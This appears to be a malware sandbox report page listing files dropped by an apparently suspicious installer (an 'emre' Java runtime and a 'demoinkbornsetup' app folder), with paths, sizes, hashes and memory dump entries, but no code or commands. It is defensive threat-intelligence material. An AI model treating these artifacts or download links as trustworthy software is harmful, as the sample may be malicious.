MD5 32da96115c9d783a0769312c0482a62d
SHA1 2ea840a5faa87a2fe8d7e5cb4367f2418077d66b
SHA512 616c78b4a24761d4640ae2377b873f7779322ef7bc26f8de7da0d880b227c577ed6f5ed794fc733468477b2fcdb7916def250e5dc63e79257616f99768419087
SSDEEP 1536:Z9TXF5YXWbj8qr51XlN+dULTCe1IGhKWyxLiyaXYaNxoecbdhUoaLjTz164zEd:ZEnsvReGsWyxLizXFkecbd1aPTzW
TLSH
T10DC38C8572A002FBD16AC274C1A36A17FB75B94487B0A7CF03B58A650F53BE09E3D356
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

vcruntime140_1.dll

Path C:\Users\Admin\AppData\Local\emre\jre\bin\vcruntime140_1.dll
Size 48KB
SHA256 6a99bc0128e0c7d6cbbf615fcc26909565e17d4ca3451b97f8987f9c6acbc6c8
MD5 c0c0b4c611561f94798b62eb43097722
SHA1 523f515eed3af6d50e57a3eaeb906f4ccc1865fe
SHA512 35db454dbcc7ed89842c0440b92ce0b0b0db41dbd5432a36a0b7e1eddf51704b1f0d6cff5e3a3b0c3ff5db3d8632fed000471180ad72e39d8dbe68a757ccdfb0
SSDEEP 768:vzzO6ujT3MbR3v0Cz6Sz5q83ywug1HDV9zxfYbK9z:mq/oMx3hXHDnzxfYiz
TLSH
T1AE236BA453784486D4AB99B0C0DAEE577D7CFA964B10928F0BA0D15C1F637D0EB3D21B
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

zip.dll

Path C:\Users\Admin\AppData\Local\emre\jre\bin\zip.dll
Size 87KB
SHA256 03758468915b3c771c365c18d87b8f44f49523a978ea248a19df9225726b5641
MD5 1984348d56036975e90c87af8fd8b193
SHA1 d6020e45dfda962ec5fad130b740104ec9de1159
SHA512 f32778896ef16c74b0d0511aadfcf0e6424b2e4619a5a0c8ef40cc9300b8dea12ab7de3aa71d56a18d3dc966e9ca14dc04ddd8a1e2e3710e9a74b1718346190b
SSDEEP 1536:dYY8ylqFqo0CWuKqhdIOQIOhWi6+71Vix:dYYx4FqRfurXGhWi6+ZVK
TLSH
T17F939C5199A05294DEF795B0C9F24A3ED3BAB04116E0578BA35C839A2F533612F4C3FE
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

java.security

Path C:\Users\Admin\AppData\Local\emre\jre\conf\security\java.security
Size 68KB
SHA256 c60112fdfcd0ad928c40bf7dd2b76b1e8e802185e261c7019393634aa33cd064
MD5 7c1ce7cb833aacc72357324f8192636b
SHA1 29d9be2369bddf34a09201a32e6f83e8a8086a04
SHA512 0f91692e3c35b76ca31fac0634a6b3c417522a5d7f35b77b4096d680916302b79932c21e987d3b7f01beab8216a239bf4a5c880c81913efecec8f3f28cc6c1e3
SSDEEP 1536:r+My8Si8MRjJUp5/jTNHu1UoQ2k/gl0ugzYz/NndOc90:v8MfUD/jTNO1UoQDczFndOcC
TLSH
T15863D422BB896B7206F211A363ADF1E9F76DA12A36325154748D420C7326F71C3736E7
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

default_US_export.policy

Path C:\Users\Admin\AppData\Local\emre\jre\conf\security\policy\unlimited\default_US_export.policy
Size 146B
SHA256 758b930a526fc670ab7537f8c26321527050a31f5f42149a2dda623c56a0a1a9
MD5 1a08ffdf0bc871296c8d698fb22f542a
SHA1 f3f974d3f6245c50804dcc47173aa29d4d7f0e2c
SHA512 4cfca5b10cd7addcff887c8f3621d2fbec1b5632436326377b0ce5af1ae3e8b68ac5a743ca6082fc79991b8eec703a6e1dfd5b896153407ad72327753222fdb3
TLSH
T178C02B07BB17D0F800D0EF4617B57916B1701E89B0A1121CFA00C2A41EDC6108330394
MD5 SHA1 SHA512 TLSH

Submit Download

Path C:\Users\Admin\AppData\Local\emre\jre\legal\java.desktop\COPYRIGHT
Size 35B
SHA256 7afb3a2dc57cb16223dddc970e0b464311e5311484c793abf9327a19ef629018
MD5 4586c3797f538d41b7b2e30e8afebbc9
SHA1 3419ebac878fa53a9f0ff1617045ddaafb43dce0
SHA512 f2c722ae80d2c0dcdb30a6993864eb90b85be5311261012d4585c6595579582d1b37323613f5417d189adcd096fa948e0378c1e6c59761bf94d65c0a5c2f2fd3
MD5 SHA1 SHA512

Submit Download

LICENSE

Path C:\Users\Admin\AppData\Local\emre\jre\legal\java.desktop\LICENSE
Size 33B
SHA256 86e0516b888276a492b19f9a84f5a866ed36925fae1510b3a94a0b6213e69192
MD5 16989bab922811e28b64ac30449a5d05
SHA1 51ab20e8c19ee570bf6c496ec7346b7cf17bd04a
SHA512 86571f127a6755a7339a9ed06e458c8dc5898e528de89e369a13c183711831af0646474986bae6573bc5155058d5f38348d6bfdeb3fd9318e98e0bf7916e6608
MD5 SHA1 SHA512

Submit Download

jvm.cfg

Path C:\Users\Admin\AppData\Local\emre\jre\lib\jvm.cfg
Size 29B
SHA256 aa9efb969444c1484e29adecab55a122458090616e766b2f1230ef05bc3867e0
MD5 7ce21bdcfa333c231d74a77394206302
SHA1 c5a940d2dee8e7bfc01a87d585ddca420d37e226
SHA512 8b37a1a5600e0a4e5832021c4db50569e33f1ddc8ac4fc2f38d5439272b955b0e3028ea10dec0743b197aa0def32d9e185066d2bac451f81b99539d34006074b
MD5 SHA1 SHA512

Submit Download

modules

Path C:\Users\Admin\AppData\Local\emre\jre\lib\modules
Size 22.6MB
SHA256 d5acfb3051992c018116cc91305535c4d963134cf6752b26d66d0e32a4a85757
MD5 e9889aff18d0a195fdea03974f893496
SHA1 123e27a1c7b3bdcdcf0c0f4bd45200110881441c
SHA512 001988046cf25464e22e37c0e2fcbd9833f74b476e9366f7dc7da2df0cf7971f78732ad7ed5cddab608b47e60950958f43d7f302e1fe74685117b9d6ee247a6d
SSDEEP 393216:wCxijWX1OWNA3abaGDrWtldLI5f0Vou1AYLw/r6Vbbu3tZL:wjyYIAy5Dr+l7x1AYOG5u37
TLSH
T12237124DB8C08B11D9AA99F78562A6C52B70A4C0FE89438F1185325E3CBB953CB7F57C
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

tzdb.dat

Path C:\Users\Admin\AppData\Local\emre\jre\lib\tzdb.dat
Size 100KB
SHA256 7be2a3adf10ff841579629f7725b15f0db41e8856527ec72847b5477073a3d29
MD5 4eb7143fa50aa5537eb0644f468bf695
SHA1 57ce5168a4c09b20b2505ba25ee4e80a875cb203
SHA512 1eb614f1d1bb5be7a2a56e0a8e16acb1853b9110aef8252f3f5b222e7feb9f7639350e61121e17a46640e43ff7e114143e4abbe2e99a9eea297e21d3823886e3
SSDEEP 1536:n0ExeF8dhPdr92L674jAGubVj0Lg/////UzJbPdJPNL0mIT/M4a3jyxU:nPeqdhPdrcWzbVj0hJzdxuT/6ToU
TLSH
T190A3C3B57F7150B7B2CB8122262B5B93097DAC816FC3084675B4BD4E8A76AD7203335E
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

tzmappings

Path C:\Users\Admin\AppData\Local\emre\jre\lib\tzmappings
Size 21KB
SHA256 b41575b332809b37ad423bdca30c7c48cdef3d82f82fa9d534781a6f15d6a2ab
MD5 4c30d7867505379a18a27d0e8f03198c
SHA1 0cc871d5bd91e061d676a861749af68bbc0ca9c6
SHA512 873d329682ce67267f438b88eee0fc25cecbbcc1f7d694118417ad12756ec2b6ae7502ec4eea0cc9b4ae8b9e68f5f8877762fa13dea89c4a6dcd54fd8bf82c56
SSDEEP 192:3nqW46ARn1+RQ7wbNQQSaapvQZglEcCDqvOCJqGic3yzA6bbAdOFmYXKhJmBW:3nqW46ARnGQqN2KhcQ+qAa9W
TLSH
T1CDA25386B06662D4C073EC0D7B527AD3F886F3C899C69A4D2943C366BD019B767E1837
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

default.dic

Path C:\Users\Admin\AppData\Roaming\Microsoft\Spelling\en-US\default.dic
Size 2B
SHA256 b3d510ef04275ca8e698e5b3cbb0ece3949ef9252f0cdc839e9ee347409a2209
MD5 f3b25701fe362ec84616a93a45ce9998
SHA1 d62636d8caec13f04e28442a0a6fa1afeb024bbb
SHA512 98c5f56f3de340690c139e58eb7dac111979f0d4dffe9c4b24ff849510f4b6ffa9fd608c0a3de9ac3c9fd2190f0efaf715309061490f9755a9bfdf1c54ca0d84
MD5 SHA1 SHA512

Submit Download

index

Path C:\Users\Admin\AppData\Roaming\demoinkbornsetup\Code Cache\js\index
Size 24B
SHA256 fbcfe23a2ecb82b7100c50811691dde0a33aa3da8d176be9882a9db485dc0f2d
MD5 54cb446f628b2ea4a5bce5769910512e
SHA1 c27ca848427fe87f5cf4d0e0e3cd57151b0d820d
SHA512 8f6ed2e91aed9bd415789b1dbe591e7eab29f3f1b48fdfa5e864d7bf4ae554acc5d82b4097a770dabc228523253623e4296c5023cf48252e1b94382c43123cb0
MD5 SHA1 SHA512

Submit Download

temp-index

Path C:\Users\Admin\AppData\Roaming\demoinkbornsetup\Code Cache\js\index-dir\temp-index
Size 48B
SHA256 4cfbc5697cd61462c602787236efcfb5623a16c3f19189c69ec05a449146eabe
MD5 b55cc3b37968f12dc997269daa9844ca
SHA1 d5ee0e00b93e2302157a0969a680414a45fbc31b
SHA512 5e2631ba2b8b88b66a978b535b0877d131584debe7ffc6680c8988912dcc8f72a19bfdf19e785ea95cce343c601edcf56f610fef4ed64979aaf79f55768279bb
MD5 SHA1 SHA512

Submit Download

DIPS

Path C:\Users\Admin\AppData\Roaming\demoinkbornsetup\DIPS
Size 36KB
SHA256 2ca927d7f2e4e78feb97d472a33917e2e6df81fd903875b8b99e54ad2fb778f9
MD5 db625dc6739d4c1532c754f870630a76
SHA1 ef1c7a5788e4d532bec47e732c4e09257cb05c69
SHA512 714d2178fbc925c6258ed437f6a22b77adca323eb55e2bf337aa6e0068d143b8fa3d22e1a4e846a3395f2c37a32aa68d32145877217ee676a33508730654d4a8
SSDEEP 48:TDQq3qhmr/O43vY+uIW9WjWbfl4pwU1aB:VEmrm43vnuIW9WjWbflf
TLSH
T1E2F2F1578F293C62D49F853685C14AEB0F7D031C97976DA868F414911ED2A8481BA4FE
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Local State

Path C:\Users\Admin\AppData\Roaming\demoinkbornsetup\Local State
Size 490B
SHA256 31d348122b16957b74c3ad1b5d8c06d175f8296b7a3e638d91a63aee3198627a
MD5 0ff6da6841780683a07ad1947953abd2
SHA1 c679417dbbaf365ca6f6349d3c44621521b0902d
SHA512 555ed837f9ad75a1b857e2f5a3e9c856041e09ea5dbaee01973b3b673219e9701637258bc8964aa117c66f973f3747c09525edc31d4379f0a53b3ec04b011a01
TLSH
T1DCF09EF66C90AAE37EA856AD551A7A020E2020F75349510059B6075365E786C4B43EB1
MD5 SHA1 SHA512 TLSH

Submit Download

000003.log

Path C:\Users\Admin\AppData\Roaming\demoinkbornsetup\Local Storage\leveldb\000003.log
Size 30B
SHA256 8bd2ea70a0b70c91de138a5b87c7936c6a6fa7c4275c54b97f4ef0ccc5b79bb4
MD5 7e957d693bbab6ad7dec1d3aa28bd69b
SHA1 50369f74c280d83046d6b779ecbde129b8ac3b98
SHA512 0228357b6c4b73f3ef20a333b7afe71fb589efe438bc28a3e04df3fb64f367b7b463dc9c9792921c531124b7bde600524827b40f2cc5aeddbc1df8b3ed822cbf
MD5 SHA1 SHA512

Submit Download

CURRENT

Path C:\Users\Admin\AppData\Roaming\demoinkbornsetup\Local Storage\leveldb\CURRENT
Size 16B
SHA256 0f1bad70c7bd1e0a69562853ec529355462fcd0423263a3d39d6d0d70b780443
MD5 46295cac801e5d4857d09837238a6394
SHA1 44e0fa1b517dbf802b18faf0785eeea6ac51594b
SHA512 8969402593f927350e2ceb4b5bc2a277f3754697c1961e3d6237da322257fbab42909e1a742e22223447f3a4805f8d8ef525432a7c3515a549e984d3eff72b23
MD5 SHA1 SHA512

Submit Download

LOG

Path C:\Users\Admin\AppData\Roaming\demoinkbornsetup\Local Storage\leveldb\LOG
Size 263B
SHA256 ba01eec706786882f59d2fa8470d9ebb3d958ffe65b5d22d8a332e8250db06d7
MD5 e9854d501cf375eff8f53a33d6e4b18b
SHA1 027a2476448ccc07ed2dc3223e8f31195ef143ad
SHA512 7e351c57a3e38f1ff05599ff14fdf97e46952b55fc22fdb3c8b2bebcfc5bb556dc85064d14fa464c1a6b109bc8936de416271caad8a507bc721f1c04b10f2011
TLSH
T1B9D02B314ADAC30D634EC1BB593B7709CF7010A17BDCB25D8F90F5497048208CA420C6
MD5 SHA1 SHA512 TLSH

Submit Download

MANIFEST-000001

Path C:\Users\Admin\AppData\Roaming\demoinkbornsetup\Local Storage\leveldb\MANIFEST-000001
Size 41B
SHA256 f9d31b278e215eb0d0e9cd709edfa037e828f36214ab7906f612160fead4b2b4
MD5 5af87dfd673ba2115e2fcf5cfdb727ab
SHA1 d5b5bbf396dc291274584ef71f444f420b6056f1
SHA512 de34583a7dbafe4dd0dc0601e8f6906b9bc6a00c56c9323561204f77abbc0dc9007c480ffe4092ff2f194d54616caf50aecbd4a1e9583cae0c76ad6dd7c2375b
MD5 SHA1 SHA512

Submit Download

7ef3a124-96d0-4a2d-a0c9-b03f9e61486b.tmp

Path C:\Users\Admin\AppData\Roaming\demoinkbornsetup\Network\7ef3a124-96d0-4a2d-a0c9-b03f9e61486b.tmp
Size 111B
SHA256 5dfc321417fc31359f23320ea68014ebfd793c5bbed55f77dab4180bbd4a2026
MD5 285252a2f6327d41eab203dc2f402c67
SHA1 acedb7ba5fbc3ce914a8bf386a6f72ca7baa33c6
SHA512 11ce7cb484fee66894e63c31db0d6b7ef66ad0327d4e7e2eb85f3bcc2e836a3a522c68d681e84542e471e54f765e091efe1ee4065641b0299b15613eb32dcc0d
TLSH
T136B01269E4517CFF074A83A41928F453C3FF0047421C8ABEEA3873AD42A21BD0C28C47
MD5 SHA1 SHA512 TLSH

Submit Download

Network Persistent State

Path C:\Users\Admin\AppData\Roaming\demoinkbornsetup\Network\Network Persistent State
Size 61B
SHA256 e1b77550222c2451772c958e44026abe518a2c8766862f331765788ddd196377
MD5 4df4574bfbb7e0b0bc56c2c9b12b6c47
SHA1 81efcbd3e3da8221444a21f45305af6fa4b71907
SHA512 78b14f60f2d80400fe50360cf303a961685396b7697775d078825a29b717081442d357c2039ad0984d4b622976b0314ede8f478cde320daec118da546cb0682a
TLSH
T139A00254944498FF4655836A05654463C7AA504780285E565B24115E42A25AD0450947
MD5 SHA1 SHA512 TLSH

Submit Download

Trust Tokens

Path C:\Users\Admin\AppData\Roaming\demoinkbornsetup\Network\Trust Tokens
Size 36KB
SHA256 fe03fb82cfe74a64c7094c810f9e8167c3b61c254c27569cc6b7db5ed84b0b18
MD5 c3e47f014a4bb58a64a57890314786ae
SHA1 ff572da2509f042cfd7ee8245f90c76105e27c89
SHA512 fc5c8206b6ff078fed3c2481360d0f638e828669f972710b1b0fdec071c0fdcaa481cf3a48b95df014943b9aed3b97da808c5567765ad6a226488aad4ab2e16b
SSDEEP 24:TL03lIIAoDJ84l5lDlnDMlRlyKDtM6UwccWfp15fBIe:Tw31DtX5nDOvyKDhU1cSB
TLSH
T115F2469BE93C6FA3CCC56FB08B47E5B51F752BDEE68276C4247130A10EA860055E7443
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Preferences

Path C:\Users\Admin\AppData\Roaming\demoinkbornsetup\Preferences
Size 93B
SHA256 529b6595a4727a6b2d6cc154ae51f426216c01fc7fda02de2460abfb3de118a4
MD5 322f01bb491180333c338526d93f115a
SHA1 554d5e43d5e46774b8f2a6b3682243a289927754
SHA512 69f8e980f44b1465cee8c0485598fa00be163db0fe88598e45ab2f817f9bea36a2b70dbb9d25d5214174ea9c198b9641bb3d5a86c18b1a4ea4493c00e2e95eb2
TLSH
T103B01253B810A0324B1B09E5000BC94F2CBE00340E475A0510D4F39D492DD4D088702B
MD5 SHA1 SHA512 TLSH

Submit Download

the-real-index

Path C:\Users\Admin\AppData\Roaming\demoinkbornsetup\Shared Dictionary\cache\index-dir\the-real-index
Size 48B
SHA256 243426b22c8621cb5d309af19e2759d2df986e8f68adc239134a0fe623cbaacc
MD5 146ee85f4f7c0cdd92deb548a44fc6d7
SHA1 a60b00174685e4377c1aa00c581be58c2c366800
SHA512 2433712a03601a96dd940893279560a21dc977fb75c31da9bcbd3e6f3fc70eff0380ec78589940150199cce1473809053abd7778e351116b88b2acd4d013ab1a
MD5 SHA1 SHA512

Submit Download

Path C:\Users\Admin\AppData\Roaming\demoinkbornsetup\Shared Dictionary\db
Size 44KB
SHA256 9dfba1d139c9933668e58e9c7777804c8ae01b2942dcc2dfaaa65ac139853a59
MD5 726d6140f181f7300ea50c13070a5903
SHA1 5a78b8a7db3078a7ca5a81e4fb78ed35ca476515
SHA512 6d48e90d26205be87925543a1645036971b9419785e0e8ba5987cc27c7926a53c71338dc2336878c649d186142239ed8be93309a7f2e695409119a624c2b3e9c
SSDEEP 24:TL6lgJhPwMuz6G0ZestjteX4yNQeYlv+1b3IeNS6+6Uwg8TPq81fBG:TBOIy4m1b3fbUdeqSB
TLSH
T11013AA0F1E187551D1BD0235E9E64E6B2E7E205C9B8369D125F01AF24DE211C5D2F27F
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

memory/1056-526-0x0000019622600000-0x000001962274E000-memory.dmp

Download

memory/1056-480-0x0000019622210000-0x0000019622232000-memory.dmp

Download

memory/1056-524-0x00000196095C0000-0x000001960A081000-memory.dmp

Download

memory/2688-703-0x0000018208C00000-0x0000018208C10000-memory.dmp

Download

memory/2688-679-0x0000018208940000-0x0000018208AD4000-memory.dmp

Download

memory/2716-856-0x000001AB26C90000-0x000001AB26DDE000-memory.dmp

Download

memory/3952-868-0x0000021A7D120000-0x0000021A7D26E000-memory.dmp

Download

memory/4364-883-0x0000020FBCED0000-0x0000020FBD01E000-memory.dmp

Download